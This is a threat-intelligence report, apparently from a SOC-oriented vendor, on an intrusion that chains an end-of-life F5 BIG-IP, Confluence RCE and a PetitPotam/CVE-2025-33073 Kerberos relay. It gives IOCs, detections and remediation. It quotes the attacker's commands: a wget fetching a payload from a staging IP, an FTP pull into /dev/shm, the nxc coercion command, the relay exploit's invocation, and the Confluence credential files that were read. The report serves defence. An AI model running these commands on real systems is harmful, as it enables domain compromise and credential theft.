Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and Unpatched Confluence — SSH Foothold to NTLM Relay (CVE-2025-33073, CVE-2025-53521)

Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and (TL-2026-0596), also tracked as F5-to-Confluence Linux Intrusion, is a high-severity tracked intrusion set scored CVSS 9.8, first published 2026-05-26. It has no confirmed attribution, affects F5 BIG-IP Virtual Edition (VE), references 2 CVEs (CVE-2025-33073, CVE-2025-53521), maps to 30 MITRE ATT&CK techniques (T1005, T1018, T1021.002), and is covered by 9 detection rules and 31 indicators of compromise.

Key facts for TL-2026-0596

Threat ID
TL-2026-0596
Also known as
F5-to-Confluence Linux Intrusion, PetitPotam + CVE-2025-33073 Kerberos Relay Campaign
Severity
HIGH
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
THREAT_INTEL
First published
2026-05-26
Last reviewed
2026-05-26
Attribution confidence
NONE
Motivation
UNKNOWN
Target sectors
enterprise, technology, financial, government, healthcare
Target regions
Global
Detection rules
9
Indicators of compromise
31

Malware and tooling in Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

Malware and tooling: ENUM4LINUX, Kerbrute, Nmap, PetitPotam, Responder - S0174, dnstool.py, gowitness, netexec (nxc), testssl.sh

Microsoft Threat Intelligence documented a hands-on-keyboard intrusion campaign (May 2026) in which a threat actor pivoted from a compromised internet-facing F5 BIG-IP VE 15.1.201000 (EOL Dec 31, 2024) through SSH into an internal Linux host, then exploited an unpatched Atlassian Confluence server for RCE, harvested service-account credentials from server.xml/confluence.cfg.xml, and conducted PetitPotam-coerced Kerberos/NTLM relay attacks against Active Directory using CVE-2025-33073. The chain demonstrates a complete edge-to-domain compromise crossing edge appliance, Linux, Java web application, and identity tiers.

How Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and works

## Overview

In May 2026, Microsoft Defender Security Research published the analysis of a multi-stage, hands-on-keyboard intrusion against an enterprise running an end-of-life (EOL) F5 BIG-IP Virtual Edition (VE) 15.1.201000 appliance and an unpatched Atlassian Confluence server. The campaign is notable for being identity-centric and multi-domain: it crosses an edge appliance (F5), a Linux pivot host, a Java web application (Confluence), and the Microsoft identity plane (Active Directory / Kerberos / NTLM) in a single linear kill chain.

This is not a single-CVE event — it is a chained operation that fuses N-day appliance exploitation (CVE-2025-53521 — F5 BIG-IP APM RCE, CISA KEV with a 30 March 2026 due date), unpatched on-premises web application RCE (Atlassian Confluence), and a Kerberos relay primitive (CVE-2025-33073 — Windows SMB Improper Access Control, CISA KEV added 20 October 2025) coerced via PetitPotam. The operator demonstrated mature tradecraft: living off the land where possible, staging custom Linux tooling only when off-the-shelf NTLM utilities failed, and using the compromised Linux pivot as an internal FTP staging point to bypass egress controls.

## Entry Vector: Compromised F5 BIG-IP VE 15.1.201000

The initial access path is a compromised Azure-hosted F5 BIG-IP VE running 15.1.201000, which reached end-of-software-support on 31 December 2024 and is in the affected range of CVE-2025-53521 (F5 BIG-IP APM RCE, CVSS 9.8, CWE-121 stack-based buffer overflow in the access policy module). Microsoft observed the threat actor establishing SSH from the F5 device to an internal Linux host using a privileged account — no explicit persistence mechanism was installed on the appliance because the EOL appliance itself is the persistence.

## Linux Pivot: Reconnaissance and Tooling

From the internal Linux host, the operator performed extensive hands-on reconnaissance:

- Horizontal and vertical Nmap scans, including an automated wrapper shell script (SHA-256 b4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216). - gowitness (SHA-256 57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517) to screenshot HTTP/HTTPS services and triage web-facing assets. - testssl.sh against discovered TLS endpoints to map weak ciphers and downgrade paths. - Kerbrute (SHA-256 710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122a, detected as HackTool:Linux/Kerbrute!rfn), enum4linux, smbclient, rpcclient, ldapsearch, netexec (nxc), responder, timeroast, and a Python NTLM-relay script (SHA-256 bdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455) to probe SMB/LDAP/Kerberos.

When off-the-shelf NTLM lateral movement attempts failed, the actor retrieved a custom Linux scanning tool from `wget http://206.189.27[.]39:8888/5` (a DigitalOcean-hosted staging server). The dropped binary is detected by Microsoft Defender as HackTool:Linux/MalPack.B (SHA-256 4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465). The operator stored payloads in `/dev/shm/ag` and `/tmp/`, repeatedly running `chmod 777` to make staged binaries world-writable/executable.

## Confluence RCE and Credential Theft

During reconnaissance the actor identified an internal, unpatched Confluence server. After achieving RCE, two notable behaviors were observed:

1. **Internal FTP staging.** When direct egress was blocked from the Confluence host, the actor used the previously compromised Linux pivot as an anonymous FTP server and pulled the payload over an internal hop: `curl -o /dev/shm/ag ftp://anonymous:anonymous@<INTERNAL_IP>/5`. This is a noteworthy evasion: it converts an external-tools-blocked environment into an internal-only file transfer that traverses controls less aggressively.

2. **Credential file enumeration.** The RCE web shell (the `java` process spawned from `/opt/atlassian/confluence/bin/bootstrap.jar`) executed `cat` against Confluence configuration files containing plaintext credentials: - `/opt/atlassian/confluence/conf/server.xml` - `/var/atlassian/application-data/confluence/confluence.cfg.xml` - `setenv.sh`

From these files the actor extracted credentials for the `Jiraservices` domain service account — a high-value privileged account that would normally be unreachable from the Linux pivot.

## Identity Plane Attack: PetitPotam + CVE-2025-33073 Kerberos Relay

With valid AD credentials and a Linux relay vantage point, the actor moved to the identity tier. Two tools were observed:

- **netexec (nxc) PetitPotam coercion:** `nxc smb <TARGET_IP> -d <DOMAIN>.com -u Jiraservices -p <PASSWORD> -M coerce_plus -o M=PetitPotam` — coerces an authenticated SMB session from a target server (typically a Domain Controller via MS-EFSRPC) toward an attacker-controlled relay.

- **CVE-2025-33073 weaponized script:** `python3 CVE-2025-33073.py -u <DOMAIN>\Jiraservices -p <PASSWORD> --attacker-ip <IP> --dns-ip <IP> --dc-fqdn <DC_HOST>.<DOMAIN>.com` — a public Python exploit chaining DNS record manipulation (via dnstool.py) with the SMB Kerberos relay primitive to relay an authenticated Kerberos AP-REQ back to the originating host ("reflection") for SYSTEM-equivalent access.

CVE-2025-33073 (CVSS 8.8, CWE-284 Improper Access Control, patched 10 June 2025, KEV 20 October 2025, KEV due date 10 November 2025) is the Kerberos reflection / NTLM-to-Kerberos relay weakness in Windows SMB that allows an authenticated attacker to elevate to SYSTEM on a target if SMB signing is not enforced and Extended Protection for Authentication (EPA) / LDAP channel binding are not configured. When combined with PetitPotam coercion the result is unauthenticated coercion plus authenticated relay against a domain controller.

## Why Defenders Should Care

This campaign is a defender's worst case for several converging reasons:

- The initial appliance is **unmanaged by EDR**, EOL, and likely not in normal patch tooling. - The pivot is **Linux**, where many enterprises still under-instrument compared to Windows. - Confluence is treated as **"internal"** and therefore not patched with internet-facing urgency, despite holding credentials in plaintext on disk. - The identity attack uses a **known, patched** Kerberos relay primitive whose mitigations (SMB signing, EPA, LDAP signing/channel binding) are operationally painful and frequently incomplete. - The egress-evasion technique (internal FTP relay) defeats simplistic "block curl/wget to internet" controls.

## Affected Products

- F5 BIG-IP Virtual Edition (VE) 15.1.201000 — EOL 31 Dec 2024 (no fix; replace). - F5 BIG-IP APM 15.1.0–15.1.10.7, 16.1.0–16.1.6.0, 17.1.0–17.1.2, 17.5.0–17.5.1 — CVE-2025-53521. - Microsoft Windows 10/11 and Windows Server 2008–2025 — CVE-2025-33073 (patched 10 Jun 2025). - Atlassian Confluence Data Center / Server — unpatched instances vulnerable to RCE chains.

## Detection and Response Priorities

1. Hunt for SSH `LogonSuccess` events on Linux servers where the `RemoteIP` resolves to a `DeviceInfo` record with `Vendor == 'F5'` and `OSVersion == '15.1.201000'` (Microsoft published the exact KQL). 2. Alert on `java` (Confluence bootstrap.jar) parent process executing `cat server.xml | confluence.cfg.xml | setenv.sh`. 3. Alert on `java` (Confluence bootstrap.jar) parent executing `chmod 777 /dev/shm`, `chmod 777 /tmp`, `base64 -d > /dev/shm`, or `curl -o /dev/shm/` / `curl -o /tmp/`. 4. Block outbound network to 206.189.27[.]39 and alert on prior connections. 5. Enforce SMB signing, LDAP signing + channel binding, and Extended Protection for Authentication across all servers; audit Domain Controllers for unsigned SMB. 6. Retire the EOL F5 BIG-IP VE 15.1.201000; if retirement is delayed, restrict management-plane source IP ranges to a bastion network only. 7. Patch Confluence on-premises and rotate every credential stored in `server.xml`, `confluence.cfg.xml`, and `setenv.sh` — the disclosure window for these credentials runs from the day of initial compromise, not the day of detection.

MITRE ATT&CK techniques used in TL-2026-0596

Collection

T1005 Data from Local System; T1602 Data from Configuration Repository

Discovery

T1018 Remote System Discovery; T1046 Network Service Discovery; T1083 File and Directory Discovery; T1087.002 Account Discovery: Domain Account; T1482 Domain Trust Discovery

Lateral Movement

T1021.002 Remote Services: SMB/Windows Admin Shares; T1021.004 Remote Services: SSH; T1210 Exploitation of Remote Services

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.006 Command and Scripting Interpreter: Python; T1203 Exploitation for Client Execution

Privilege Escalation

T1068 Exploitation for Privilege Escalation

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1071.002 Application Layer Protocol: File Transfer Protocols; T1090.001 Proxy: Internal Proxy; T1095 Non-Application Layer Protocol; T1105 Ingress Tool Transfer

Initial Access

T1078.002 Valid Accounts: Domain Accounts; T1190 Exploit Public-Facing Application

Credential Access

T1110.003 Brute Force: Password Spraying; T1187 Forced Authentication; T1552.001 Unsecured Credentials: Credentials in Files; T1555 Credentials from Password Stores; T1557.001 Name Resolution Poisoning and SMB Relay; T1558 Steal or Forge Kerberos Tickets

Defense Evasion

T1140 Deobfuscate/Decode Files or Information

defense-impairment

T1222.002 Linux and Mac Permissions

Persistence

T1505.003 Server Software Component: Web Shell

Affected products and versions in Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

  • F5 — BIG-IP Virtual Edition (VE)
    Vulnerable versions: 15.1.201000 (EOL 2024-12-31)
    Fixed in: Replace with supported branch — no fix for EOL build
  • F5 — BIG-IP APM
    Vulnerable versions: 15.1.0-15.1.10.7; 16.1.0-16.1.6.0; 17.1.0-17.1.2; 17.5.0-17.5.1
    Fixed in: 15.1.10.8; 16.1.6.1; 17.1.3; 17.5.1.3
  • Microsoft — Windows (SMB Client)
    Vulnerable versions: Windows 10 1507/1607/1809/21H2/22H2; Windows 11 22H2/23H2/24H2; Windows Server 2008 through 2025
    Fixed in: June 2025 cumulative update or later
  • Atlassian — Confluence Data Center / Server
    Vulnerable versions: Unpatched on-premises instances vulnerable to known RCE chains
    Fixed in: Latest patched release

Remediation for Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

Patches

  • F5 BIG-IP APM: upgrade to 15.1.10.8, 16.1.6.1, 17.1.3, or 17.5.1.3 (fixes CVE-2025-53521).
  • Windows: apply June 2025 cumulative update or later on all Windows hosts and Domain Controllers (fixes CVE-2025-33073).
  • Atlassian Confluence: upgrade to the latest patched Data Center / Server release; rotate all credentials on disk afterward.

Immediate actions

  • Block outbound connectivity to 206.189.27.39 at perimeter and proxy; alert on any historical connections from internal hosts to this IP on port 8888.
  • Audit all F5 BIG-IP VE appliances for version 15.1.201000 or any other EOL build; isolate management plane and restrict to bastion source IPs only.
  • Audit Atlassian Confluence on-premises deployments for patch level; remove from internet exposure until patched.
  • Rotate every credential stored in Confluence server.xml, confluence.cfg.xml, and setenv.sh on any potentially exposed host — including database, LDAP, SMTP, and any service-account passwords.
  • Hunt Microsoft Defender for Endpoint with the published KQL queries for SSH-from-F5, Confluence-credential-cat, and Confluence-payload-staging patterns.
  • Disable the Jiraservices-class service accounts pending integrity review; enumerate authentication events for that account across the prior 90 days.

Workarounds

  • If immediate F5 BIG-IP APM patching is not possible, disable APM virtual servers or remove the access policy from public-facing virtual servers as a temporary mitigation.
  • If Windows CVE-2025-33073 patching is delayed, enforce SMB signing required on all Domain Controllers and high-value servers as a partial mitigation against the relay primitive.
  • Restrict outbound SMB (TCP 445) from servers to limit relay opportunities.
  • Where Confluence cannot be patched, place it behind authenticated reverse proxy and block all unauthenticated paths from non-management networks.

Longer-term hardening

  • Migrate off F5 BIG-IP VE 15.1.x to a supported branch (17.5.1.3 or 17.1.3 with CVE-2025-53521 fix); add edge appliances to the same patch SLA as internet-facing application servers.
  • Treat internal web applications (Confluence, Jira, Bamboo, Bitbucket) with the same patch SLA as internet-facing services — they hold credentials in plaintext on disk and are routinely targeted post-initial-access.
  • Enforce SMB signing required (not just enabled) on all Windows servers and Domain Controllers via GPO.
  • Enable LDAP signing + LDAP channel binding (Domain Controller: LDAP server channel binding token requirements = Always) to break LDAP relay primitives.
  • Enable Extended Protection for Authentication (EPA) on IIS / AD CS Web Enrollment / Exchange / any HTTP-based AD-integrated service.
  • Implement a tiered admin model: Tier-0 (DCs / identity), Tier-1 (servers), Tier-2 (workstations) — no account credential should ever traverse tiers.
  • Deploy EDR / behavior-based agents on all Linux servers, including DMZ pivots, app servers, and management hosts.
  • Disable NTLM where operationally feasible; audit NTLM authentication via Group Policy event logging (4624 LogonType 3, 4776) and reduce surface progressively.

CVEs associated with Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

CVE-2025-33073, CVE-2025-53521

Weaknesses (CWE) in Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

CWE-284, CWE-121

Timeline of Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

  • F5 BIG-IP VE 15.1.x branch reaches end-of-software-support; no further security fixes will be issued for 15.1.201000.
  • Microsoft publishes Patch Tuesday fix for CVE-2025-33073 (Windows SMB Improper Access Control / Kerberos reflection); CVSS 8.8.
  • CISA adds CVE-2025-33073 to the Known Exploited Vulnerabilities catalog; remediation due date 10 November 2025.
  • CISA KEV remediation deadline for CVE-2025-33073 across U.S. federal civilian executive branch agencies.
  • F5 publishes K000156741 advisory for CVE-2025-53521 (BIG-IP APM stack-based buffer overflow, CVSS 9.8), with fixed versions 15.1.10.8 / 16.1.6.1 / 17.1.3 / 17.5.1.3.
  • CISA adds CVE-2025-53521 to the Known Exploited Vulnerabilities catalog after observed active F5 BIG-IP APM exploitation; KEV due date 30 March 2026.
  • CISA KEV remediation deadline for CVE-2025-53521.
  • Approximate start of hands-on-keyboard intrusion window observed by Microsoft Threat Intelligence: F5 BIG-IP VE 15.1.201000 used as initial pivot via SSH into internal Linux host.
  • Threat actor identifies internal unpatched Confluence server, achieves RCE, and reads server.xml / confluence.cfg.xml / setenv.sh to extract Jiraservices domain service account credentials.
  • Actor executes nxc PetitPotam coercion module and python3 CVE-2025-33073.py against Domain Controllers using stolen Jiraservices credentials; testssl probes downgrade paths on internal TLS endpoints.
  • Microsoft Defender Security Research publishes 'From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence' with IOCs, KQL queries, and MITRE mapping.
  • Threadlinqs Intelligence publishes TL-2026-0596 with full MITRE mapping, IOC set, detection coverage, and remediation guidance for SOC consumption.
  • As of 2026-05-29, this remains ACTIVE: both chained CVEs are CISA KEV-listed and under active in-the-wild exploitation (CVE-2025-53521 F5 BIG-IP APM RCE with 14,000+ exposed devices and webshell deployment; CVE-2025-33073 Windows SMB Kerberos relay). Microsoft TI documented this hands-on-keyboard chain on 2026-05-22; the operator is unattributed and the EOL F5 VE 15.1.201000 pivot has no fix, so the edge-to-domain TTP stays a live, repeatable concern.

Sources cited for Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

Threats related to Multi-Stage Linux Intrusion via End-of-Life F5 BIG-IP and

Detection coverage for TL-2026-0596

As of 2026-05-26, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0596 across Splunk SPL, Microsoft KQL and Sigma, covering 31 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats